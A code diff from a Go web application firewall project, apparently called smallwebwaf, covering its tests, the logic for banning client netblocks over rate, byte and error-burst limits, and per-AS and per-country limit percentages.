+			"a blocklist that only limits",
+			map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
+			listClient, http.StatusOK, requestlog.ActionForward,
+		},
+		{
+			"over a rate limit on an exempt path",
+			map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
+			countClient, http.StatusOK, requestlog.ActionForward,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				server, out := newServeWAFInBubble(t, tc.env)
+				tc.prepare(t, server, time.Now())
+
+				status, took := askDirectly(t, server, func(*http.Request) {})
+
+				if status != tc.status || took != defaultLookupWait {
+					t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
+						status, took, tc.status, defaultLookupWait, out.text())
+				}
+
+				wantLine(t, out.requestLine(t), tc.status, tc.action)
+			})
+		})
+	}
+}
+
+func TestServeWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(t *testing.T) {
+	t.Parallel()
+
+	held, askedGeoJS, _ := startHeldGeoJS(t)
+
+	// A resolver that takes every query and answers none.
+	resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	t.Cleanup(func() { _ = resolver.Close() })
+
+	server, out, _ := newServeWAFWith(t, func(params servewaf.Params) *servewaf.Server {
+		params.AbuseIPDBURL = silentAbuseIPDBURL
+
+		return servewaf.New(params)
+	}, held, time.Now, map[string]string{
+		deniedCountries: "KP", wafMode: block,
+		dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
+		abuseIPDBKey:  accountKey,
+		blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
+		crowdSecURL: held, crowdSecKey: bouncerKey,
+	})
+
+	// AbuseIPDB is asked only about a client with an offence.
+	group := netip.MustParsePrefix(client + "/32")
+	server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
+
+	go server.Lists.Run(t.Context())
+
+	status, took := askDirectly(t, server, func(req *http.Request) {
+		req.Header.Set("User-Agent", "test")
+		req.Header.Set("Accept", "*/*")
+		req.Host = siteA
+	})
+
+	if status != http.StatusOK || took >= answerTimeLimit {
+		t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
+			status, took, http.StatusOK, answerTimeLimit, out.text())
+	}
+
+	// Each outside source was asked, and none has answered. The stand-in for
+	// GeoJS is the lists' too, which name no address.
+	if !slices.Contains(askedGeoJS(), client) {
+		t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
+	}
+
+	if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
+		t.Errorf("%d queries to the DNS blocklist, want 1", queries)
+	}
+
+	if checked := server.AbuseIPDB.Checked(); checked != 1 {
+		t.Errorf("%d checks with AbuseIPDB, want 1", checked)
+	}
+}

internal/servewaf/bans.go

@@ -0,0 +1,365 @@
+package servewaf
+
+import (
+	"net/http"
+	"net/netip"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
+// with action.
+func (rq *request) banResponse(action string) *refusal {
+	return &refusal{status: rq.h.config.BanResponse, action: action}
+}
+
+// banned reports whether a ban on a netblock the client is in covers the
+// request at now, and notes for the log line when that ban ends. A
+// request that makes the ban permanent, or in observe mode would have,
+// raises the alert for it.
+func (rq *request) banned(now time.Time) bool {
+	check := rq.h.ledger.Check
+	if rq.h.config.Observe {
+		check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
+	}
+
+	ban, banned, madePermanent := check(rq.client, now)
+	if banned {
+		rq.line.BanExpires = banExpires(ban)
+	}
+
+	if madePermanent {
+		ban.Expires = time.Time{} // the ban made permanent, which Find leaves as it is
+		rq.alertBan(ban)
+	}
+
+	return banned
+}
+
+// limitBroken counts the request for the rate limits at now, notes the
+// client's counts for the log line, and reports whether the request takes
+// the client over a rate limit, as its limit percentage lowers it, which
+// breaks it.
+func (rq *request) limitBroken(now time.Time) bool {
+	counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
+		rq.limitPercent.percent)
+	rq.line.Counts = counts
+
+	if over {
+		rq.banForLimit(now, hit, rq.h.config.BanResponse)
+	}
+
+	return over
+}
+
+// countBytes counts the request's bytes, as countedBytes gives them, for
+// the byte limits, once its report has come, and notes the client's byte totals
+// for the log line; its requests stay there as the rate limits counted them.
+// Only an allowed request has them counted, and only one the rate limits
+// counted; in observe mode, not one that enforce mode would have refused. Bytes
+// that take the client over a byte limit, as its limit percentage for the byte
+// limits lowers it, break it; the response was passed on whole.
+func (rq *request) countBytes() {
+	if !rq.counted || rq.line.WouldAction != "" {
+		return
+	}
+
+	now := rq.h.now()
+
+	counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
+		rq.countedBytes(), rq.bytesPercent.percent)
+	rq.line.Counts.MinuteBytes = counts.MinuteBytes
+	rq.line.Counts.HourBytes = counts.HourBytes
+	rq.line.Counts.DayBytes = counts.DayBytes
+
+	if over {
+		rq.banForLimit(now, hit, rq.out.status)
+	}
+}
+
+// countRefusal counts the request for the error burst once it has been
+// answered, if servewaf refused it after a rule file match, a trap path or a
+// Core Rule Set match, and in observe mode if enforce mode would have: more than
+// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
+// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
+// not counted, and nothing is while the threshold is off.
+func (rq *request) countRefusal() {
+	cfg := rq.h.config
+	if cfg.ErrorBurstThreshold == 0 {
+		return
+	}
+
+	if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked {
+		return
+	}
+
+	now := rq.h.now()
+
+	hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
+		cfg.ErrorBurstThreshold)
+	if !over {
+		return
+	}
+
+	// What the client was sent, or in observe mode would have been.
+	status := rq.out.status
+
+	switch rq.line.WouldAction {
+	case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
+		status = http.StatusForbidden
+	case requestlog.ActionBanned:
+		status = cfg.BanResponse
+	}
+
+	rq.banForLimit(now, hit, status)
+}
+
+// countedBytes returns the request's bytes, once it has ended, as the
+// byte limits and the anomaly thresholds count them: the response's body
+// bytes, the request's, or both, as SWWAF_BYTES_COUNT says.
+func (rq *request) countedBytes() int64 {
+	response, request := rq.out.bytes, rq.requestBytes
+
+	switch rq.h.config.BytesCount {
+	case "response":
+		return response
+	case "request":
+		return request
+	default: // both
+		return response + request
+	}
+}
+
+// banForLimit bans the client's netblock at now for a broken limit, the
+// one hit names, notes the offence for the log line and counts the hit in
+// the metrics. status is what the client was sent, or is sent:
+// SWWAF_BAN_RESPONSE for a request over a rate limit, what the report says for
+// one whose bytes broke a byte limit, the refusal for one that broke the
+// error burst. The ban's notes give the client's limit percentage for a
+// rate limit or a byte limit; the error burst is not lowered. The ban sets
+// the client's counters back to zero. In observe mode it makes no ban and
+// sets nothing back, and raises the alert for the ban it would have made,
+// if that alert would be sent.
+func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
+	switch hit.Kind {
+	case ratelimit.KindBytes:
+		rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
+	case ratelimit.KindRefusals:
+		rq.line.LimitHit = requestlog.LimitHitErrorBurst
+	default:
+		rq.line.LimitHit = hit.Window
+	}
+
+	rq.line.Offence = requestlog.OffenceLimit
+	rq.h.metrics.LimitHit(hit)
+
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
+		return
+	}
+
+	notes := bans.Notes{
+		ASN:        rq.line.ASN,
+		ASName:     rq.line.ASName,
+		Country:    rq.line.Country,
+		Kind:       hit.Kind,
+		Limit:      hit.Limit,
+		Window:     hit.Window,
+		Count:      hit.Count,
+		Reputation: rq.reputation,
+		Request:    rq.noted(now, status),
+		Requests:   rq.netblockRequests(netblock),
+	}
+
+	switch hit.Kind {
+	case ratelimit.KindRequests:
+		notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
+	case ratelimit.KindBytes:
+		notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
+	}
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
+	rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+}
+
+// banForAttack bans the client's netblock at now for a clear sign of
+// attack, which notes name: the ban rule that matched, or the trap path
+// asked for. It fills in the rest of the notes. In observe mode it makes
+// no ban, and raises the alert for the ban it would have made, if that
+// alert would be sent.
+func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
+		return
+	}
+
+	notes.ASN = rq.line.ASN
+	notes.ASName = rq.line.ASName
+	notes.Country = rq.line.Country
+	notes.Reputation = rq.reputation
+	notes.Request = rq.noted(now, rq.h.config.BanResponse)
+	notes.Requests = rq.netblockRequests(netblock)
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForAttack(netblock, now, notes)
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+}
+
+// banForCrowdSec bans the client's netblock at now until decision,
+// CrowdSec's decision on the client, ends. In observe mode it makes no
+// ban, and raises the alert for the ban it would have made, if that alert
+// would be sent.
+func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
+		return
+	}
+
+	notes := bans.Notes{
+		ASN:        rq.line.ASN,
+		ASName:     rq.line.ASName,
+		Country:    rq.line.Country,
+		Reputation: rq.reputation,
+		Request:    rq.noted(now, rq.h.config.BanResponse),
+		Requests:   rq.netblockRequests(netblock),
+	}
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
+			decision.Scenario, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
+		decision.Scenario, notes)
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+}
+
+// wouldAlertBan reports whether the alert for a ban on netblock for cause
+// made at now would be sent. In observe mode the ban the request would
+// have made is worked out only then, at most once per
+// SWWAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
+// netblock's requests, which can mean going through every client.
+func (rq *request) wouldAlertBan(
+	netblock netip.Prefix, now time.Time, cause string,
+) bool {
+	event := alerts.EventBan
+	if rq.h.ledger.WouldBePermanent(netblock, now, cause) {
+		event = alerts.EventPermanentBan
+	}
+
+	return rq.h.alerts.WouldSend(event, netblock)
+}
+
+// alertBan raises the alert for ban, which the request made, or made
+// permanent: permanent_ban for a permanent ban, ban for another. Its
+// detail gives the ban's cause, when it ends, and its notes, and in
+// observe mode, where ban is the ban that would have been made, or made
+// permanent, mode, observe.
+func (rq *request) alertBan(ban bans.Ban) {
+	event := alerts.EventBan
+	if ban.Permanent() {
+		event = alerts.EventPermanentBan
+	}
+
+	detail := map[string]any{
+		"cause": ban.Cause, "ban_expires": banExpires(ban), "notes": ban.Notes,
+	}
+	if rq.h.config.Observe {
+		detail["mode"] = "observe"
+	}
+
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    event,
+		Host:     rq.site,
+		Client:   rq.client,
+		Netblock: ban.Netblock,
+		ASN:      ban.Notes.ASN,
+		ASName:   ban.Notes.ASName,
+		Country:  ban.Notes.Country,
+		Reason:   ban.Reason,
+		Detail:   detail,
+	})
+}
+
+// noted is the request, at now, with status, what the client was sent, or
+// in observe mode would have been, as the notes of the ban it makes keep
+// it.
+func (rq *request) noted(now time.Time, status int) bans.Request {
+	return bans.Request{
+		Time:      now,
+		Method:    rq.line.Method,
+		Host:      rq.line.Host,
+		Path:      rq.requestURI,
+		Status:    status,
+		UserAgent: rq.line.UserAgent,
+	}
+}
+
+// netblockRequests is how many requests netblock has sent since it was
+// first seen, this one included: the histories count it only once it has
+// ended.
+func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
+	return rq.h.limiter.Requests(netblock) + 1
+}
+
+// netblock is the netblock a ban on client covers: its IPv4 address,
+// widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
+// counts it in.
+func (h *handler) netblock(client netip.Addr) netip.Prefix {
+	addr := client.Unmap()
+	if addr.Is4() {
+		return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
+	}
+
+	return h.clientGroup(addr)
+}
+
+// banExpires is when ban ends, as the log line gives it: a time, or
+// permanent.
+func banExpires(ban bans.Ban) string {
+	if ban.Permanent() {
+		return permanent
+	}
+
+	return requestlog.FormatTime(ban.Expires)
+}

internal/servewaf/bans_test.go

@@ -1,4 +1,4 @@
-package proxy_test
+package servewaf_test
 
 import (
 	"bufio"
@@ -7,14 +7,16 @@ import (
 	"maps"
 	"net/http"
 	"net/netip"
+	"reflect"
 	"slices"
+	"strings"
 	"sync"
 	"testing"
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
 )
 
 const (
@@ -24,6 +26,8 @@ const (
 	userAgent = "ban-test/1.0"
 	// permanent is the log line's ban_expires for a permanent ban.
 	permanent = "permanent"
+	// banResponseClose is the SWWAF_BAN_RESPONSE that closes the connection.
+	banResponseClose = "close"
 )
 
 func TestBrokenLimitBansTheClient(t *testing.T) {
@@ -165,9 +169,14 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
 			[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
 		},
 		{
-			"an IPv6 /64", nil, "2001:db8:5::1",
+			"an IPv6 /64, by default", nil, "2001:db8:5::1",
 			[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
 		},
+		{
+			"the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets",
+			map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
+			[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
+		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
@@ -199,6 +208,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
 
 	geojsURL, asked := startGeoJS(t)
 	s, _, _ := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
 		rateLimitPerMinute: "1",
 		banScopeV4Prefix:   "24",
 		deniedCountries:    "kp",
@@ -230,13 +240,14 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
 		{"", http.StatusForbidden},
 		{"403", http.StatusForbidden},
 		{"429", http.StatusTooManyRequests},
-		{"close", 0},
+		{banResponseClose, 0},
 	} {
 		t.Run(banResponse+"="+tc.setting, func(t *testing.T) {
 			t.Parallel()
 
 			geojsURL, _ := startGeoJS(t)
 			env := map[string]string{
+				lookupTimeout:      "1h",
 				rateLimitPerMinute: "1",
 				denyNets:           denied,
 				deniedCountries:    "kp",
@@ -262,6 +273,7 @@ func TestBanNotes(t *testing.T) {
 
 	geojsURL, _ := startGeoJS(t)
 	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
 		rateLimitPerMinute: "1",
 		deniedCountries:    "kp",
 	})
@@ -281,7 +293,10 @@ func TestBanNotes(t *testing.T) {
 		Cause:    bans.CauseLimit,
 		Reason:   "requests per minute over the limit of 1",
 		Notes: bans.Notes{
+			ASN:     asnDE,
+			ASName:  asNameDE,
 			Country: "DE",
+			Kind:    "requests",
 			Limit:   1,
 			Window:  minute,
 			Count:   2,
@@ -304,7 +319,7 @@ func TestBanNotes(t *testing.T) {
 	ledger := server.Ledger
 
 	got := ledger.Bans(netblock)
-	if len(got) != 1 || got[0] != want {
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
 		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
 	}
 
@@ -360,13 +375,14 @@ func (c *clock) advance(d time.Duration) {
 	c.now = c.now.Add(d)
 }
 
-// startWithClock starts smallwebwaf in front of an app that answers 200,
+// startWithClock starts servewaf, and rproxy in front of an app that answers 200,
 // with the settings in env on top of trusting localhost's
-// X-Forwarded-For, clients' countries looked up at geojsURL, and a clock
-// set to midnight, the start of a bucket in every window.
+// X-Forwarded-For, clients' AS numbers and countries looked up at
+// geojsURL, and a clock set to midnight, the start of a bucket in every
+// window.
 func startWithClock(
 	t *testing.T, geojsURL string, env map[string]string,
-) (*sender, *clock, *proxy.Server) {
+) (*sender, *clock, *servewaf.Server) {
 	t.Helper()
 
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
@@ -376,16 +392,17 @@ func startWithClock(
 
 	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
 
-	return &sender{t: t, addr: addr, out: out}, clk, server
+	return &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}, clk, server
 }
 
-// sender sends requests to smallwebwaf one after another, each on a
-// connection of its own, and checks each one's answer and log line. They
-// must be the only requests smallwebwaf is sent, since the log lines are
-// matched to them in order.
+// sender sends requests to rproxy one after another, each on a connection of its
+// own, and checks each one's answer and log line. serveWAFAddr is where servewaf's
+// own endpoints are, which adminRequest asks. Every request servewaf gets must
+// come through the sender, since the log lines are matched to them in order.
 type sender struct {
 	t            *testing.T
 	addr         string
+	serveWAFAddr string
 	out          *output
 	sent         int
 }
@@ -404,22 +421,19 @@ func (s *sender) get(from string, status int, action string) logLine {
 func (s *sender) request(from, path string, status int, action string) logLine {
 	s.t.Helper()
 
-	line, _ := s.requestWithHeader(from, path, "", status, action)
-
-	return line
+	return s.requestWithHeader(from, path, "", status, action)
 }
 
 // requestWithHeader is request with header, such as "Authorization:
-// Bearer x", added to the request unless it is "". It returns the body of
-// the answer too.
+// Bearer x", added to the request unless it is "".
 func (s *sender) requestWithHeader(
 	from, path, header string, status int, action string,
-) (logLine, string) {
+) logLine {
 	s.t.Helper()
 
-	line, got := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
+	line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
 
-	return line, string(got.body)
+	return line
 }
 
 // requestWithBody is requestWithHeader for a request with method, whose
@@ -435,10 +449,14 @@ func (s *sender) requestWithBody(
 		header += "\r\n"
 	}
 
+	// rproxy refuses a request with more than one.
+	if !strings.Contains(header, "User-Agent:") {
+		header += "User-Agent: " + userAgent + "\r\n"
+	}
+
 	conn := dial(s.t, s.addr)
-	send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+
-		"\r\nUser-Agent: "+userAgent+"\r\n"+forwardedFor+": "+from+"\r\n"+
-		header+"\r\n"+body)
+	send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+"\r\n"+
+		forwardedFor+": "+from+"\r\n"+header+"\r\n"+body)
 
 	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
 	if err != nil {
@@ -463,7 +481,7 @@ func (s *sender) requestWithBody(
 			got.status, status)
 	}
 
-	line := s.out.requestLines(s.t, s.sent+1)[s.sent]
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
 	s.sent++
 	wantLine(s.t, line, status, action)
 

internal/servewaf/biased.go

@@ -0,0 +1,119 @@
+package servewaf
+
+import (
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+// whole is the percentage of each limit a client gets when no biased
+// threshold lowers its limits.
+const whole = 100
+
+// percentage is a client's limit percentage for the rate limits or for
+// the byte limits, as the biased thresholds give it, and the setting that
+// gave it: "" with whole when none lowers that kind of limit.
+type percentage struct {
+	percent int64
+	setting string
+}
+
+// biasedThresholdsSet reports whether a biased threshold can lower a
+// client's limits: one of its lists is not empty,
+// SWWAF_UNKNOWN_LIMIT_PERCENT is below 100, or SWWAF_ASN_LIMIT_PERCENT_URL
+// is set. The client's lookup is then needed before its request goes on.
+func biasedThresholdsSet(cfg *config.Config) bool {
+	return len(cfg.ASNLimitPercent) > 0 || len(cfg.CountryLimitPercent) > 0 ||
+		len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
+		cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
+}
+
+// limitPercentages returns the client's limit percentages, for the rate
+// limits and for the byte limits, by its AS number and country as looked
+// up, each "" when unknown, and the blocklists, DNSBL zones and AbuseIPDB
+// that list it. Each is the lowest of those the settings give it, the
+// first of them in the order below when several are lowest: the
+// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file
+// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one
+// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
+// country, unless its request skipped the wait for GeoJS,
+// SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, the
+// percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a client
+// a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, the
+// percentage of SWWAF_REPUTATION_ACTION while it is limit. For the byte
+// limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the
+// place of the first three for an AS number or a country they list.
+func (rq *request) limitPercentages() (percentage, percentage) {
+	cfg := rq.h.config
+	asn, country := rq.line.ASN, rq.line.Country
+
+	unknown := percentage{percent: whole}
+	if country == "" && !rq.skippedLookupWait {
+		unknown = percentage{cfg.UnknownLimitPercent, "SWWAF_UNKNOWN_LIMIT_PERCENT"}
+	}
+
+	fetched := percentage{percent: whole}
+	if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
+		fetched = percentage{percent, "SWWAF_ASN_LIMIT_PERCENT_URL"}
+	}
+
+	blocklisted := percentage{percent: whole}
+	if rq.blocklisted && cfg.BlocklistAction == "limit" {
+		blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"}
+	}
+
+	reputationListed := percentage{percent: whole}
+	if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
+		reputationListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"}
+	}
+
+	asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"),
+		fetched)
+	countryRequests := given(cfg.CountryLimitPercent, country,
+		"SWWAF_COUNTRY_LIMIT_PERCENT")
+
+	asnBytes, countryBytes := asnRequests, countryRequests
+	if _, listed := cfg.ASNBytesPercent[asn]; listed {
+		asnBytes = given(cfg.ASNBytesPercent, asn, "SWWAF_ASN_BYTES_PERCENT")
+	}
+
+	if _, listed := cfg.CountryBytesPercent[country]; listed {
+		countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT")
+	}
+
+	return lowest(asnRequests, countryRequests, unknown, blocklisted, reputationListed),
+		lowest(asnBytes, countryBytes, unknown, blocklisted, reputationListed)
+}
+
+// given returns the percentage percents, the setting named setting, gives
+// code, an AS number or a country, or whole when it does not list code.
+func given(percents map[string]int64, code, setting string) percentage {
+	percent, listed := percents[code]
+	if !listed {
+		return percentage{percent: whole}
+	}
+
+	return percentage{percent, setting}
+}
+
+// lowest returns the lowest of percentages below whole, the first of them
+// when several are lowest, or whole when none is below it.
+func lowest(percentages ...percentage) percentage {
+	low := percentage{percent: whole}
+
+	for _, p := range percentages {
+		if p.percent < low.percent {
+			low = p
+		}
+	}
+
+	return low
+}
+
+// logged returns p as the log line and the notes of a ban give it: its
+// percent and setting, or nil and "" for whole, which they leave out.
+func (p percentage) logged() (*int64, string) {
+	if p.percent == whole {
+		return nil, ""
+	}
+
+	return &p.percent, p.setting
+}

internal/servewaf/biased_test.go

@@ -0,0 +1,499 @@
+package servewaf_test
+
+import (
+	"fmt"
+	"io"
+	"maps"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"path/filepath"
+	"strings"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// The biased thresholds.
+const (
+	asnLimitPercent     = "SWWAF_ASN_LIMIT_PERCENT"
+	countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT"
+	asnBytesPercent     = "SWWAF_ASN_BYTES_PERCENT"
+	countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT"
+	unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT"
+)
+
+const (
+	// asnDEHalf and countryDEHalf give fromDE's AS number and its country
+	// half of every limit, and asnDEQuarter gives its AS number a quarter.
+	asnDEHalf     = asnDE + ":50"
+	asnDEQuarter  = asnDE + ":25"
+	countryDEHalf = "de:50"
+	// noCountry is in an AS of its own, AS64500, and in no country.
+	noCountry = "192.0.2.80"
+	// fourAMinute is the rate limit these tests set: half of it is 2
+	// requests a minute, a quarter of it 1.
+	fourAMinute = "4"
+	// twoUploads is the byte limit these tests set: 199 bytes, which an
+	// upload, a request with a body and its answer, 100 bytes, is within,
+	// and half of which, 99 bytes, it is over.
+	twoUploads = "199"
+	// none is how percentText gives a percentage left out.
+	none = "none"
+)
+
+func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting, value, from string
+	}{
+		{asnLimitPercent, asnDEHalf, fromDE},
+		{countryLimitPercent, countryDEHalf, fromDE},
+		{unknownLimitPercent, "50", unplaced},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startWithLookups(t, map[string]string{
+				rateLimitPerMinute: fourAMinute, tc.setting: tc.value,
+			})
+
+			// Half of 4 requests a minute: the third breaks the limit.
+			for _, sent := range []struct {
+				status int
+				action string
+			}{
+				{http.StatusOK, requestlog.ActionForward},
+				{http.StatusOK, requestlog.ActionForward},
+				{http.StatusForbidden, requestlog.ActionRateLimited},
+			} {
+				line := s.get(tc.from, sent.status, sent.action)
+				wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+					"50 from "+tc.setting)
+			}
+
+			// fromKP, which no setting lists, has the whole limit.
+			for range 3 {
+				line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
+				wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+					none)
+			}
+		})
+	}
+}
+
+func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
+	t.Parallel()
+
+	// The AS numbers and countries are given in either case.
+	for _, tc := range []struct {
+		setting, value, from string
+	}{
+		{asnLimitPercent, asnDEHalf, fromDE},
+		{countryLimitPercent, "DE:50", fromDE},
+		{unknownLimitPercent, "50", unplaced},
+		{asnBytesPercent, "as64496:50", fromDE},
+		{countryBytesPercent, countryDEHalf, fromDE},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startWithLookups(t, map[string]string{
+				bytesLimitPerMinute: twoUploads, tc.setting: tc.value,
+			})
+
+			// The upload's 100 bytes are over half of 199, 99.
+			line := s.uploadFrom(tc.from)
+			if line.LimitHit != minuteBytes {
+				t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
+			}
+
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting,
+				"50 from "+tc.setting)
+
+			// fromKP, which no setting lists, has the whole limit.
+			line = s.uploadFrom(fromKP)
+			if line.LimitHit != "" {
+				t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
+			}
+
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, none)
+		})
+	}
+}
+
+func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// limitPercent and bytesPercent are the log line's, as percentText
+		// gives them, and limitHit is its limit_hit.
+		limitPercent, bytesPercent, limitHit string
+	}{
+		{
+			"lowering the byte limits alone",
+			map[string]string{asnBytesPercent: asnDEHalf},
+			none, "50 from " + asnBytesPercent, minuteBytes,
+		},
+		{
+			"lowering the byte limits alone, by country",
+			map[string]string{countryBytesPercent: countryDEHalf},
+			none, "50 from " + countryBytesPercent, minuteBytes,
+		},
+		{
+			"raising the byte limits back",
+			map[string]string{asnLimitPercent: asnDEHalf, asnBytesPercent: asnDE + ":100"},
+			"50 from " + asnLimitPercent, none, "",
+		},
+		{
+			"raising the byte limits back, by country",
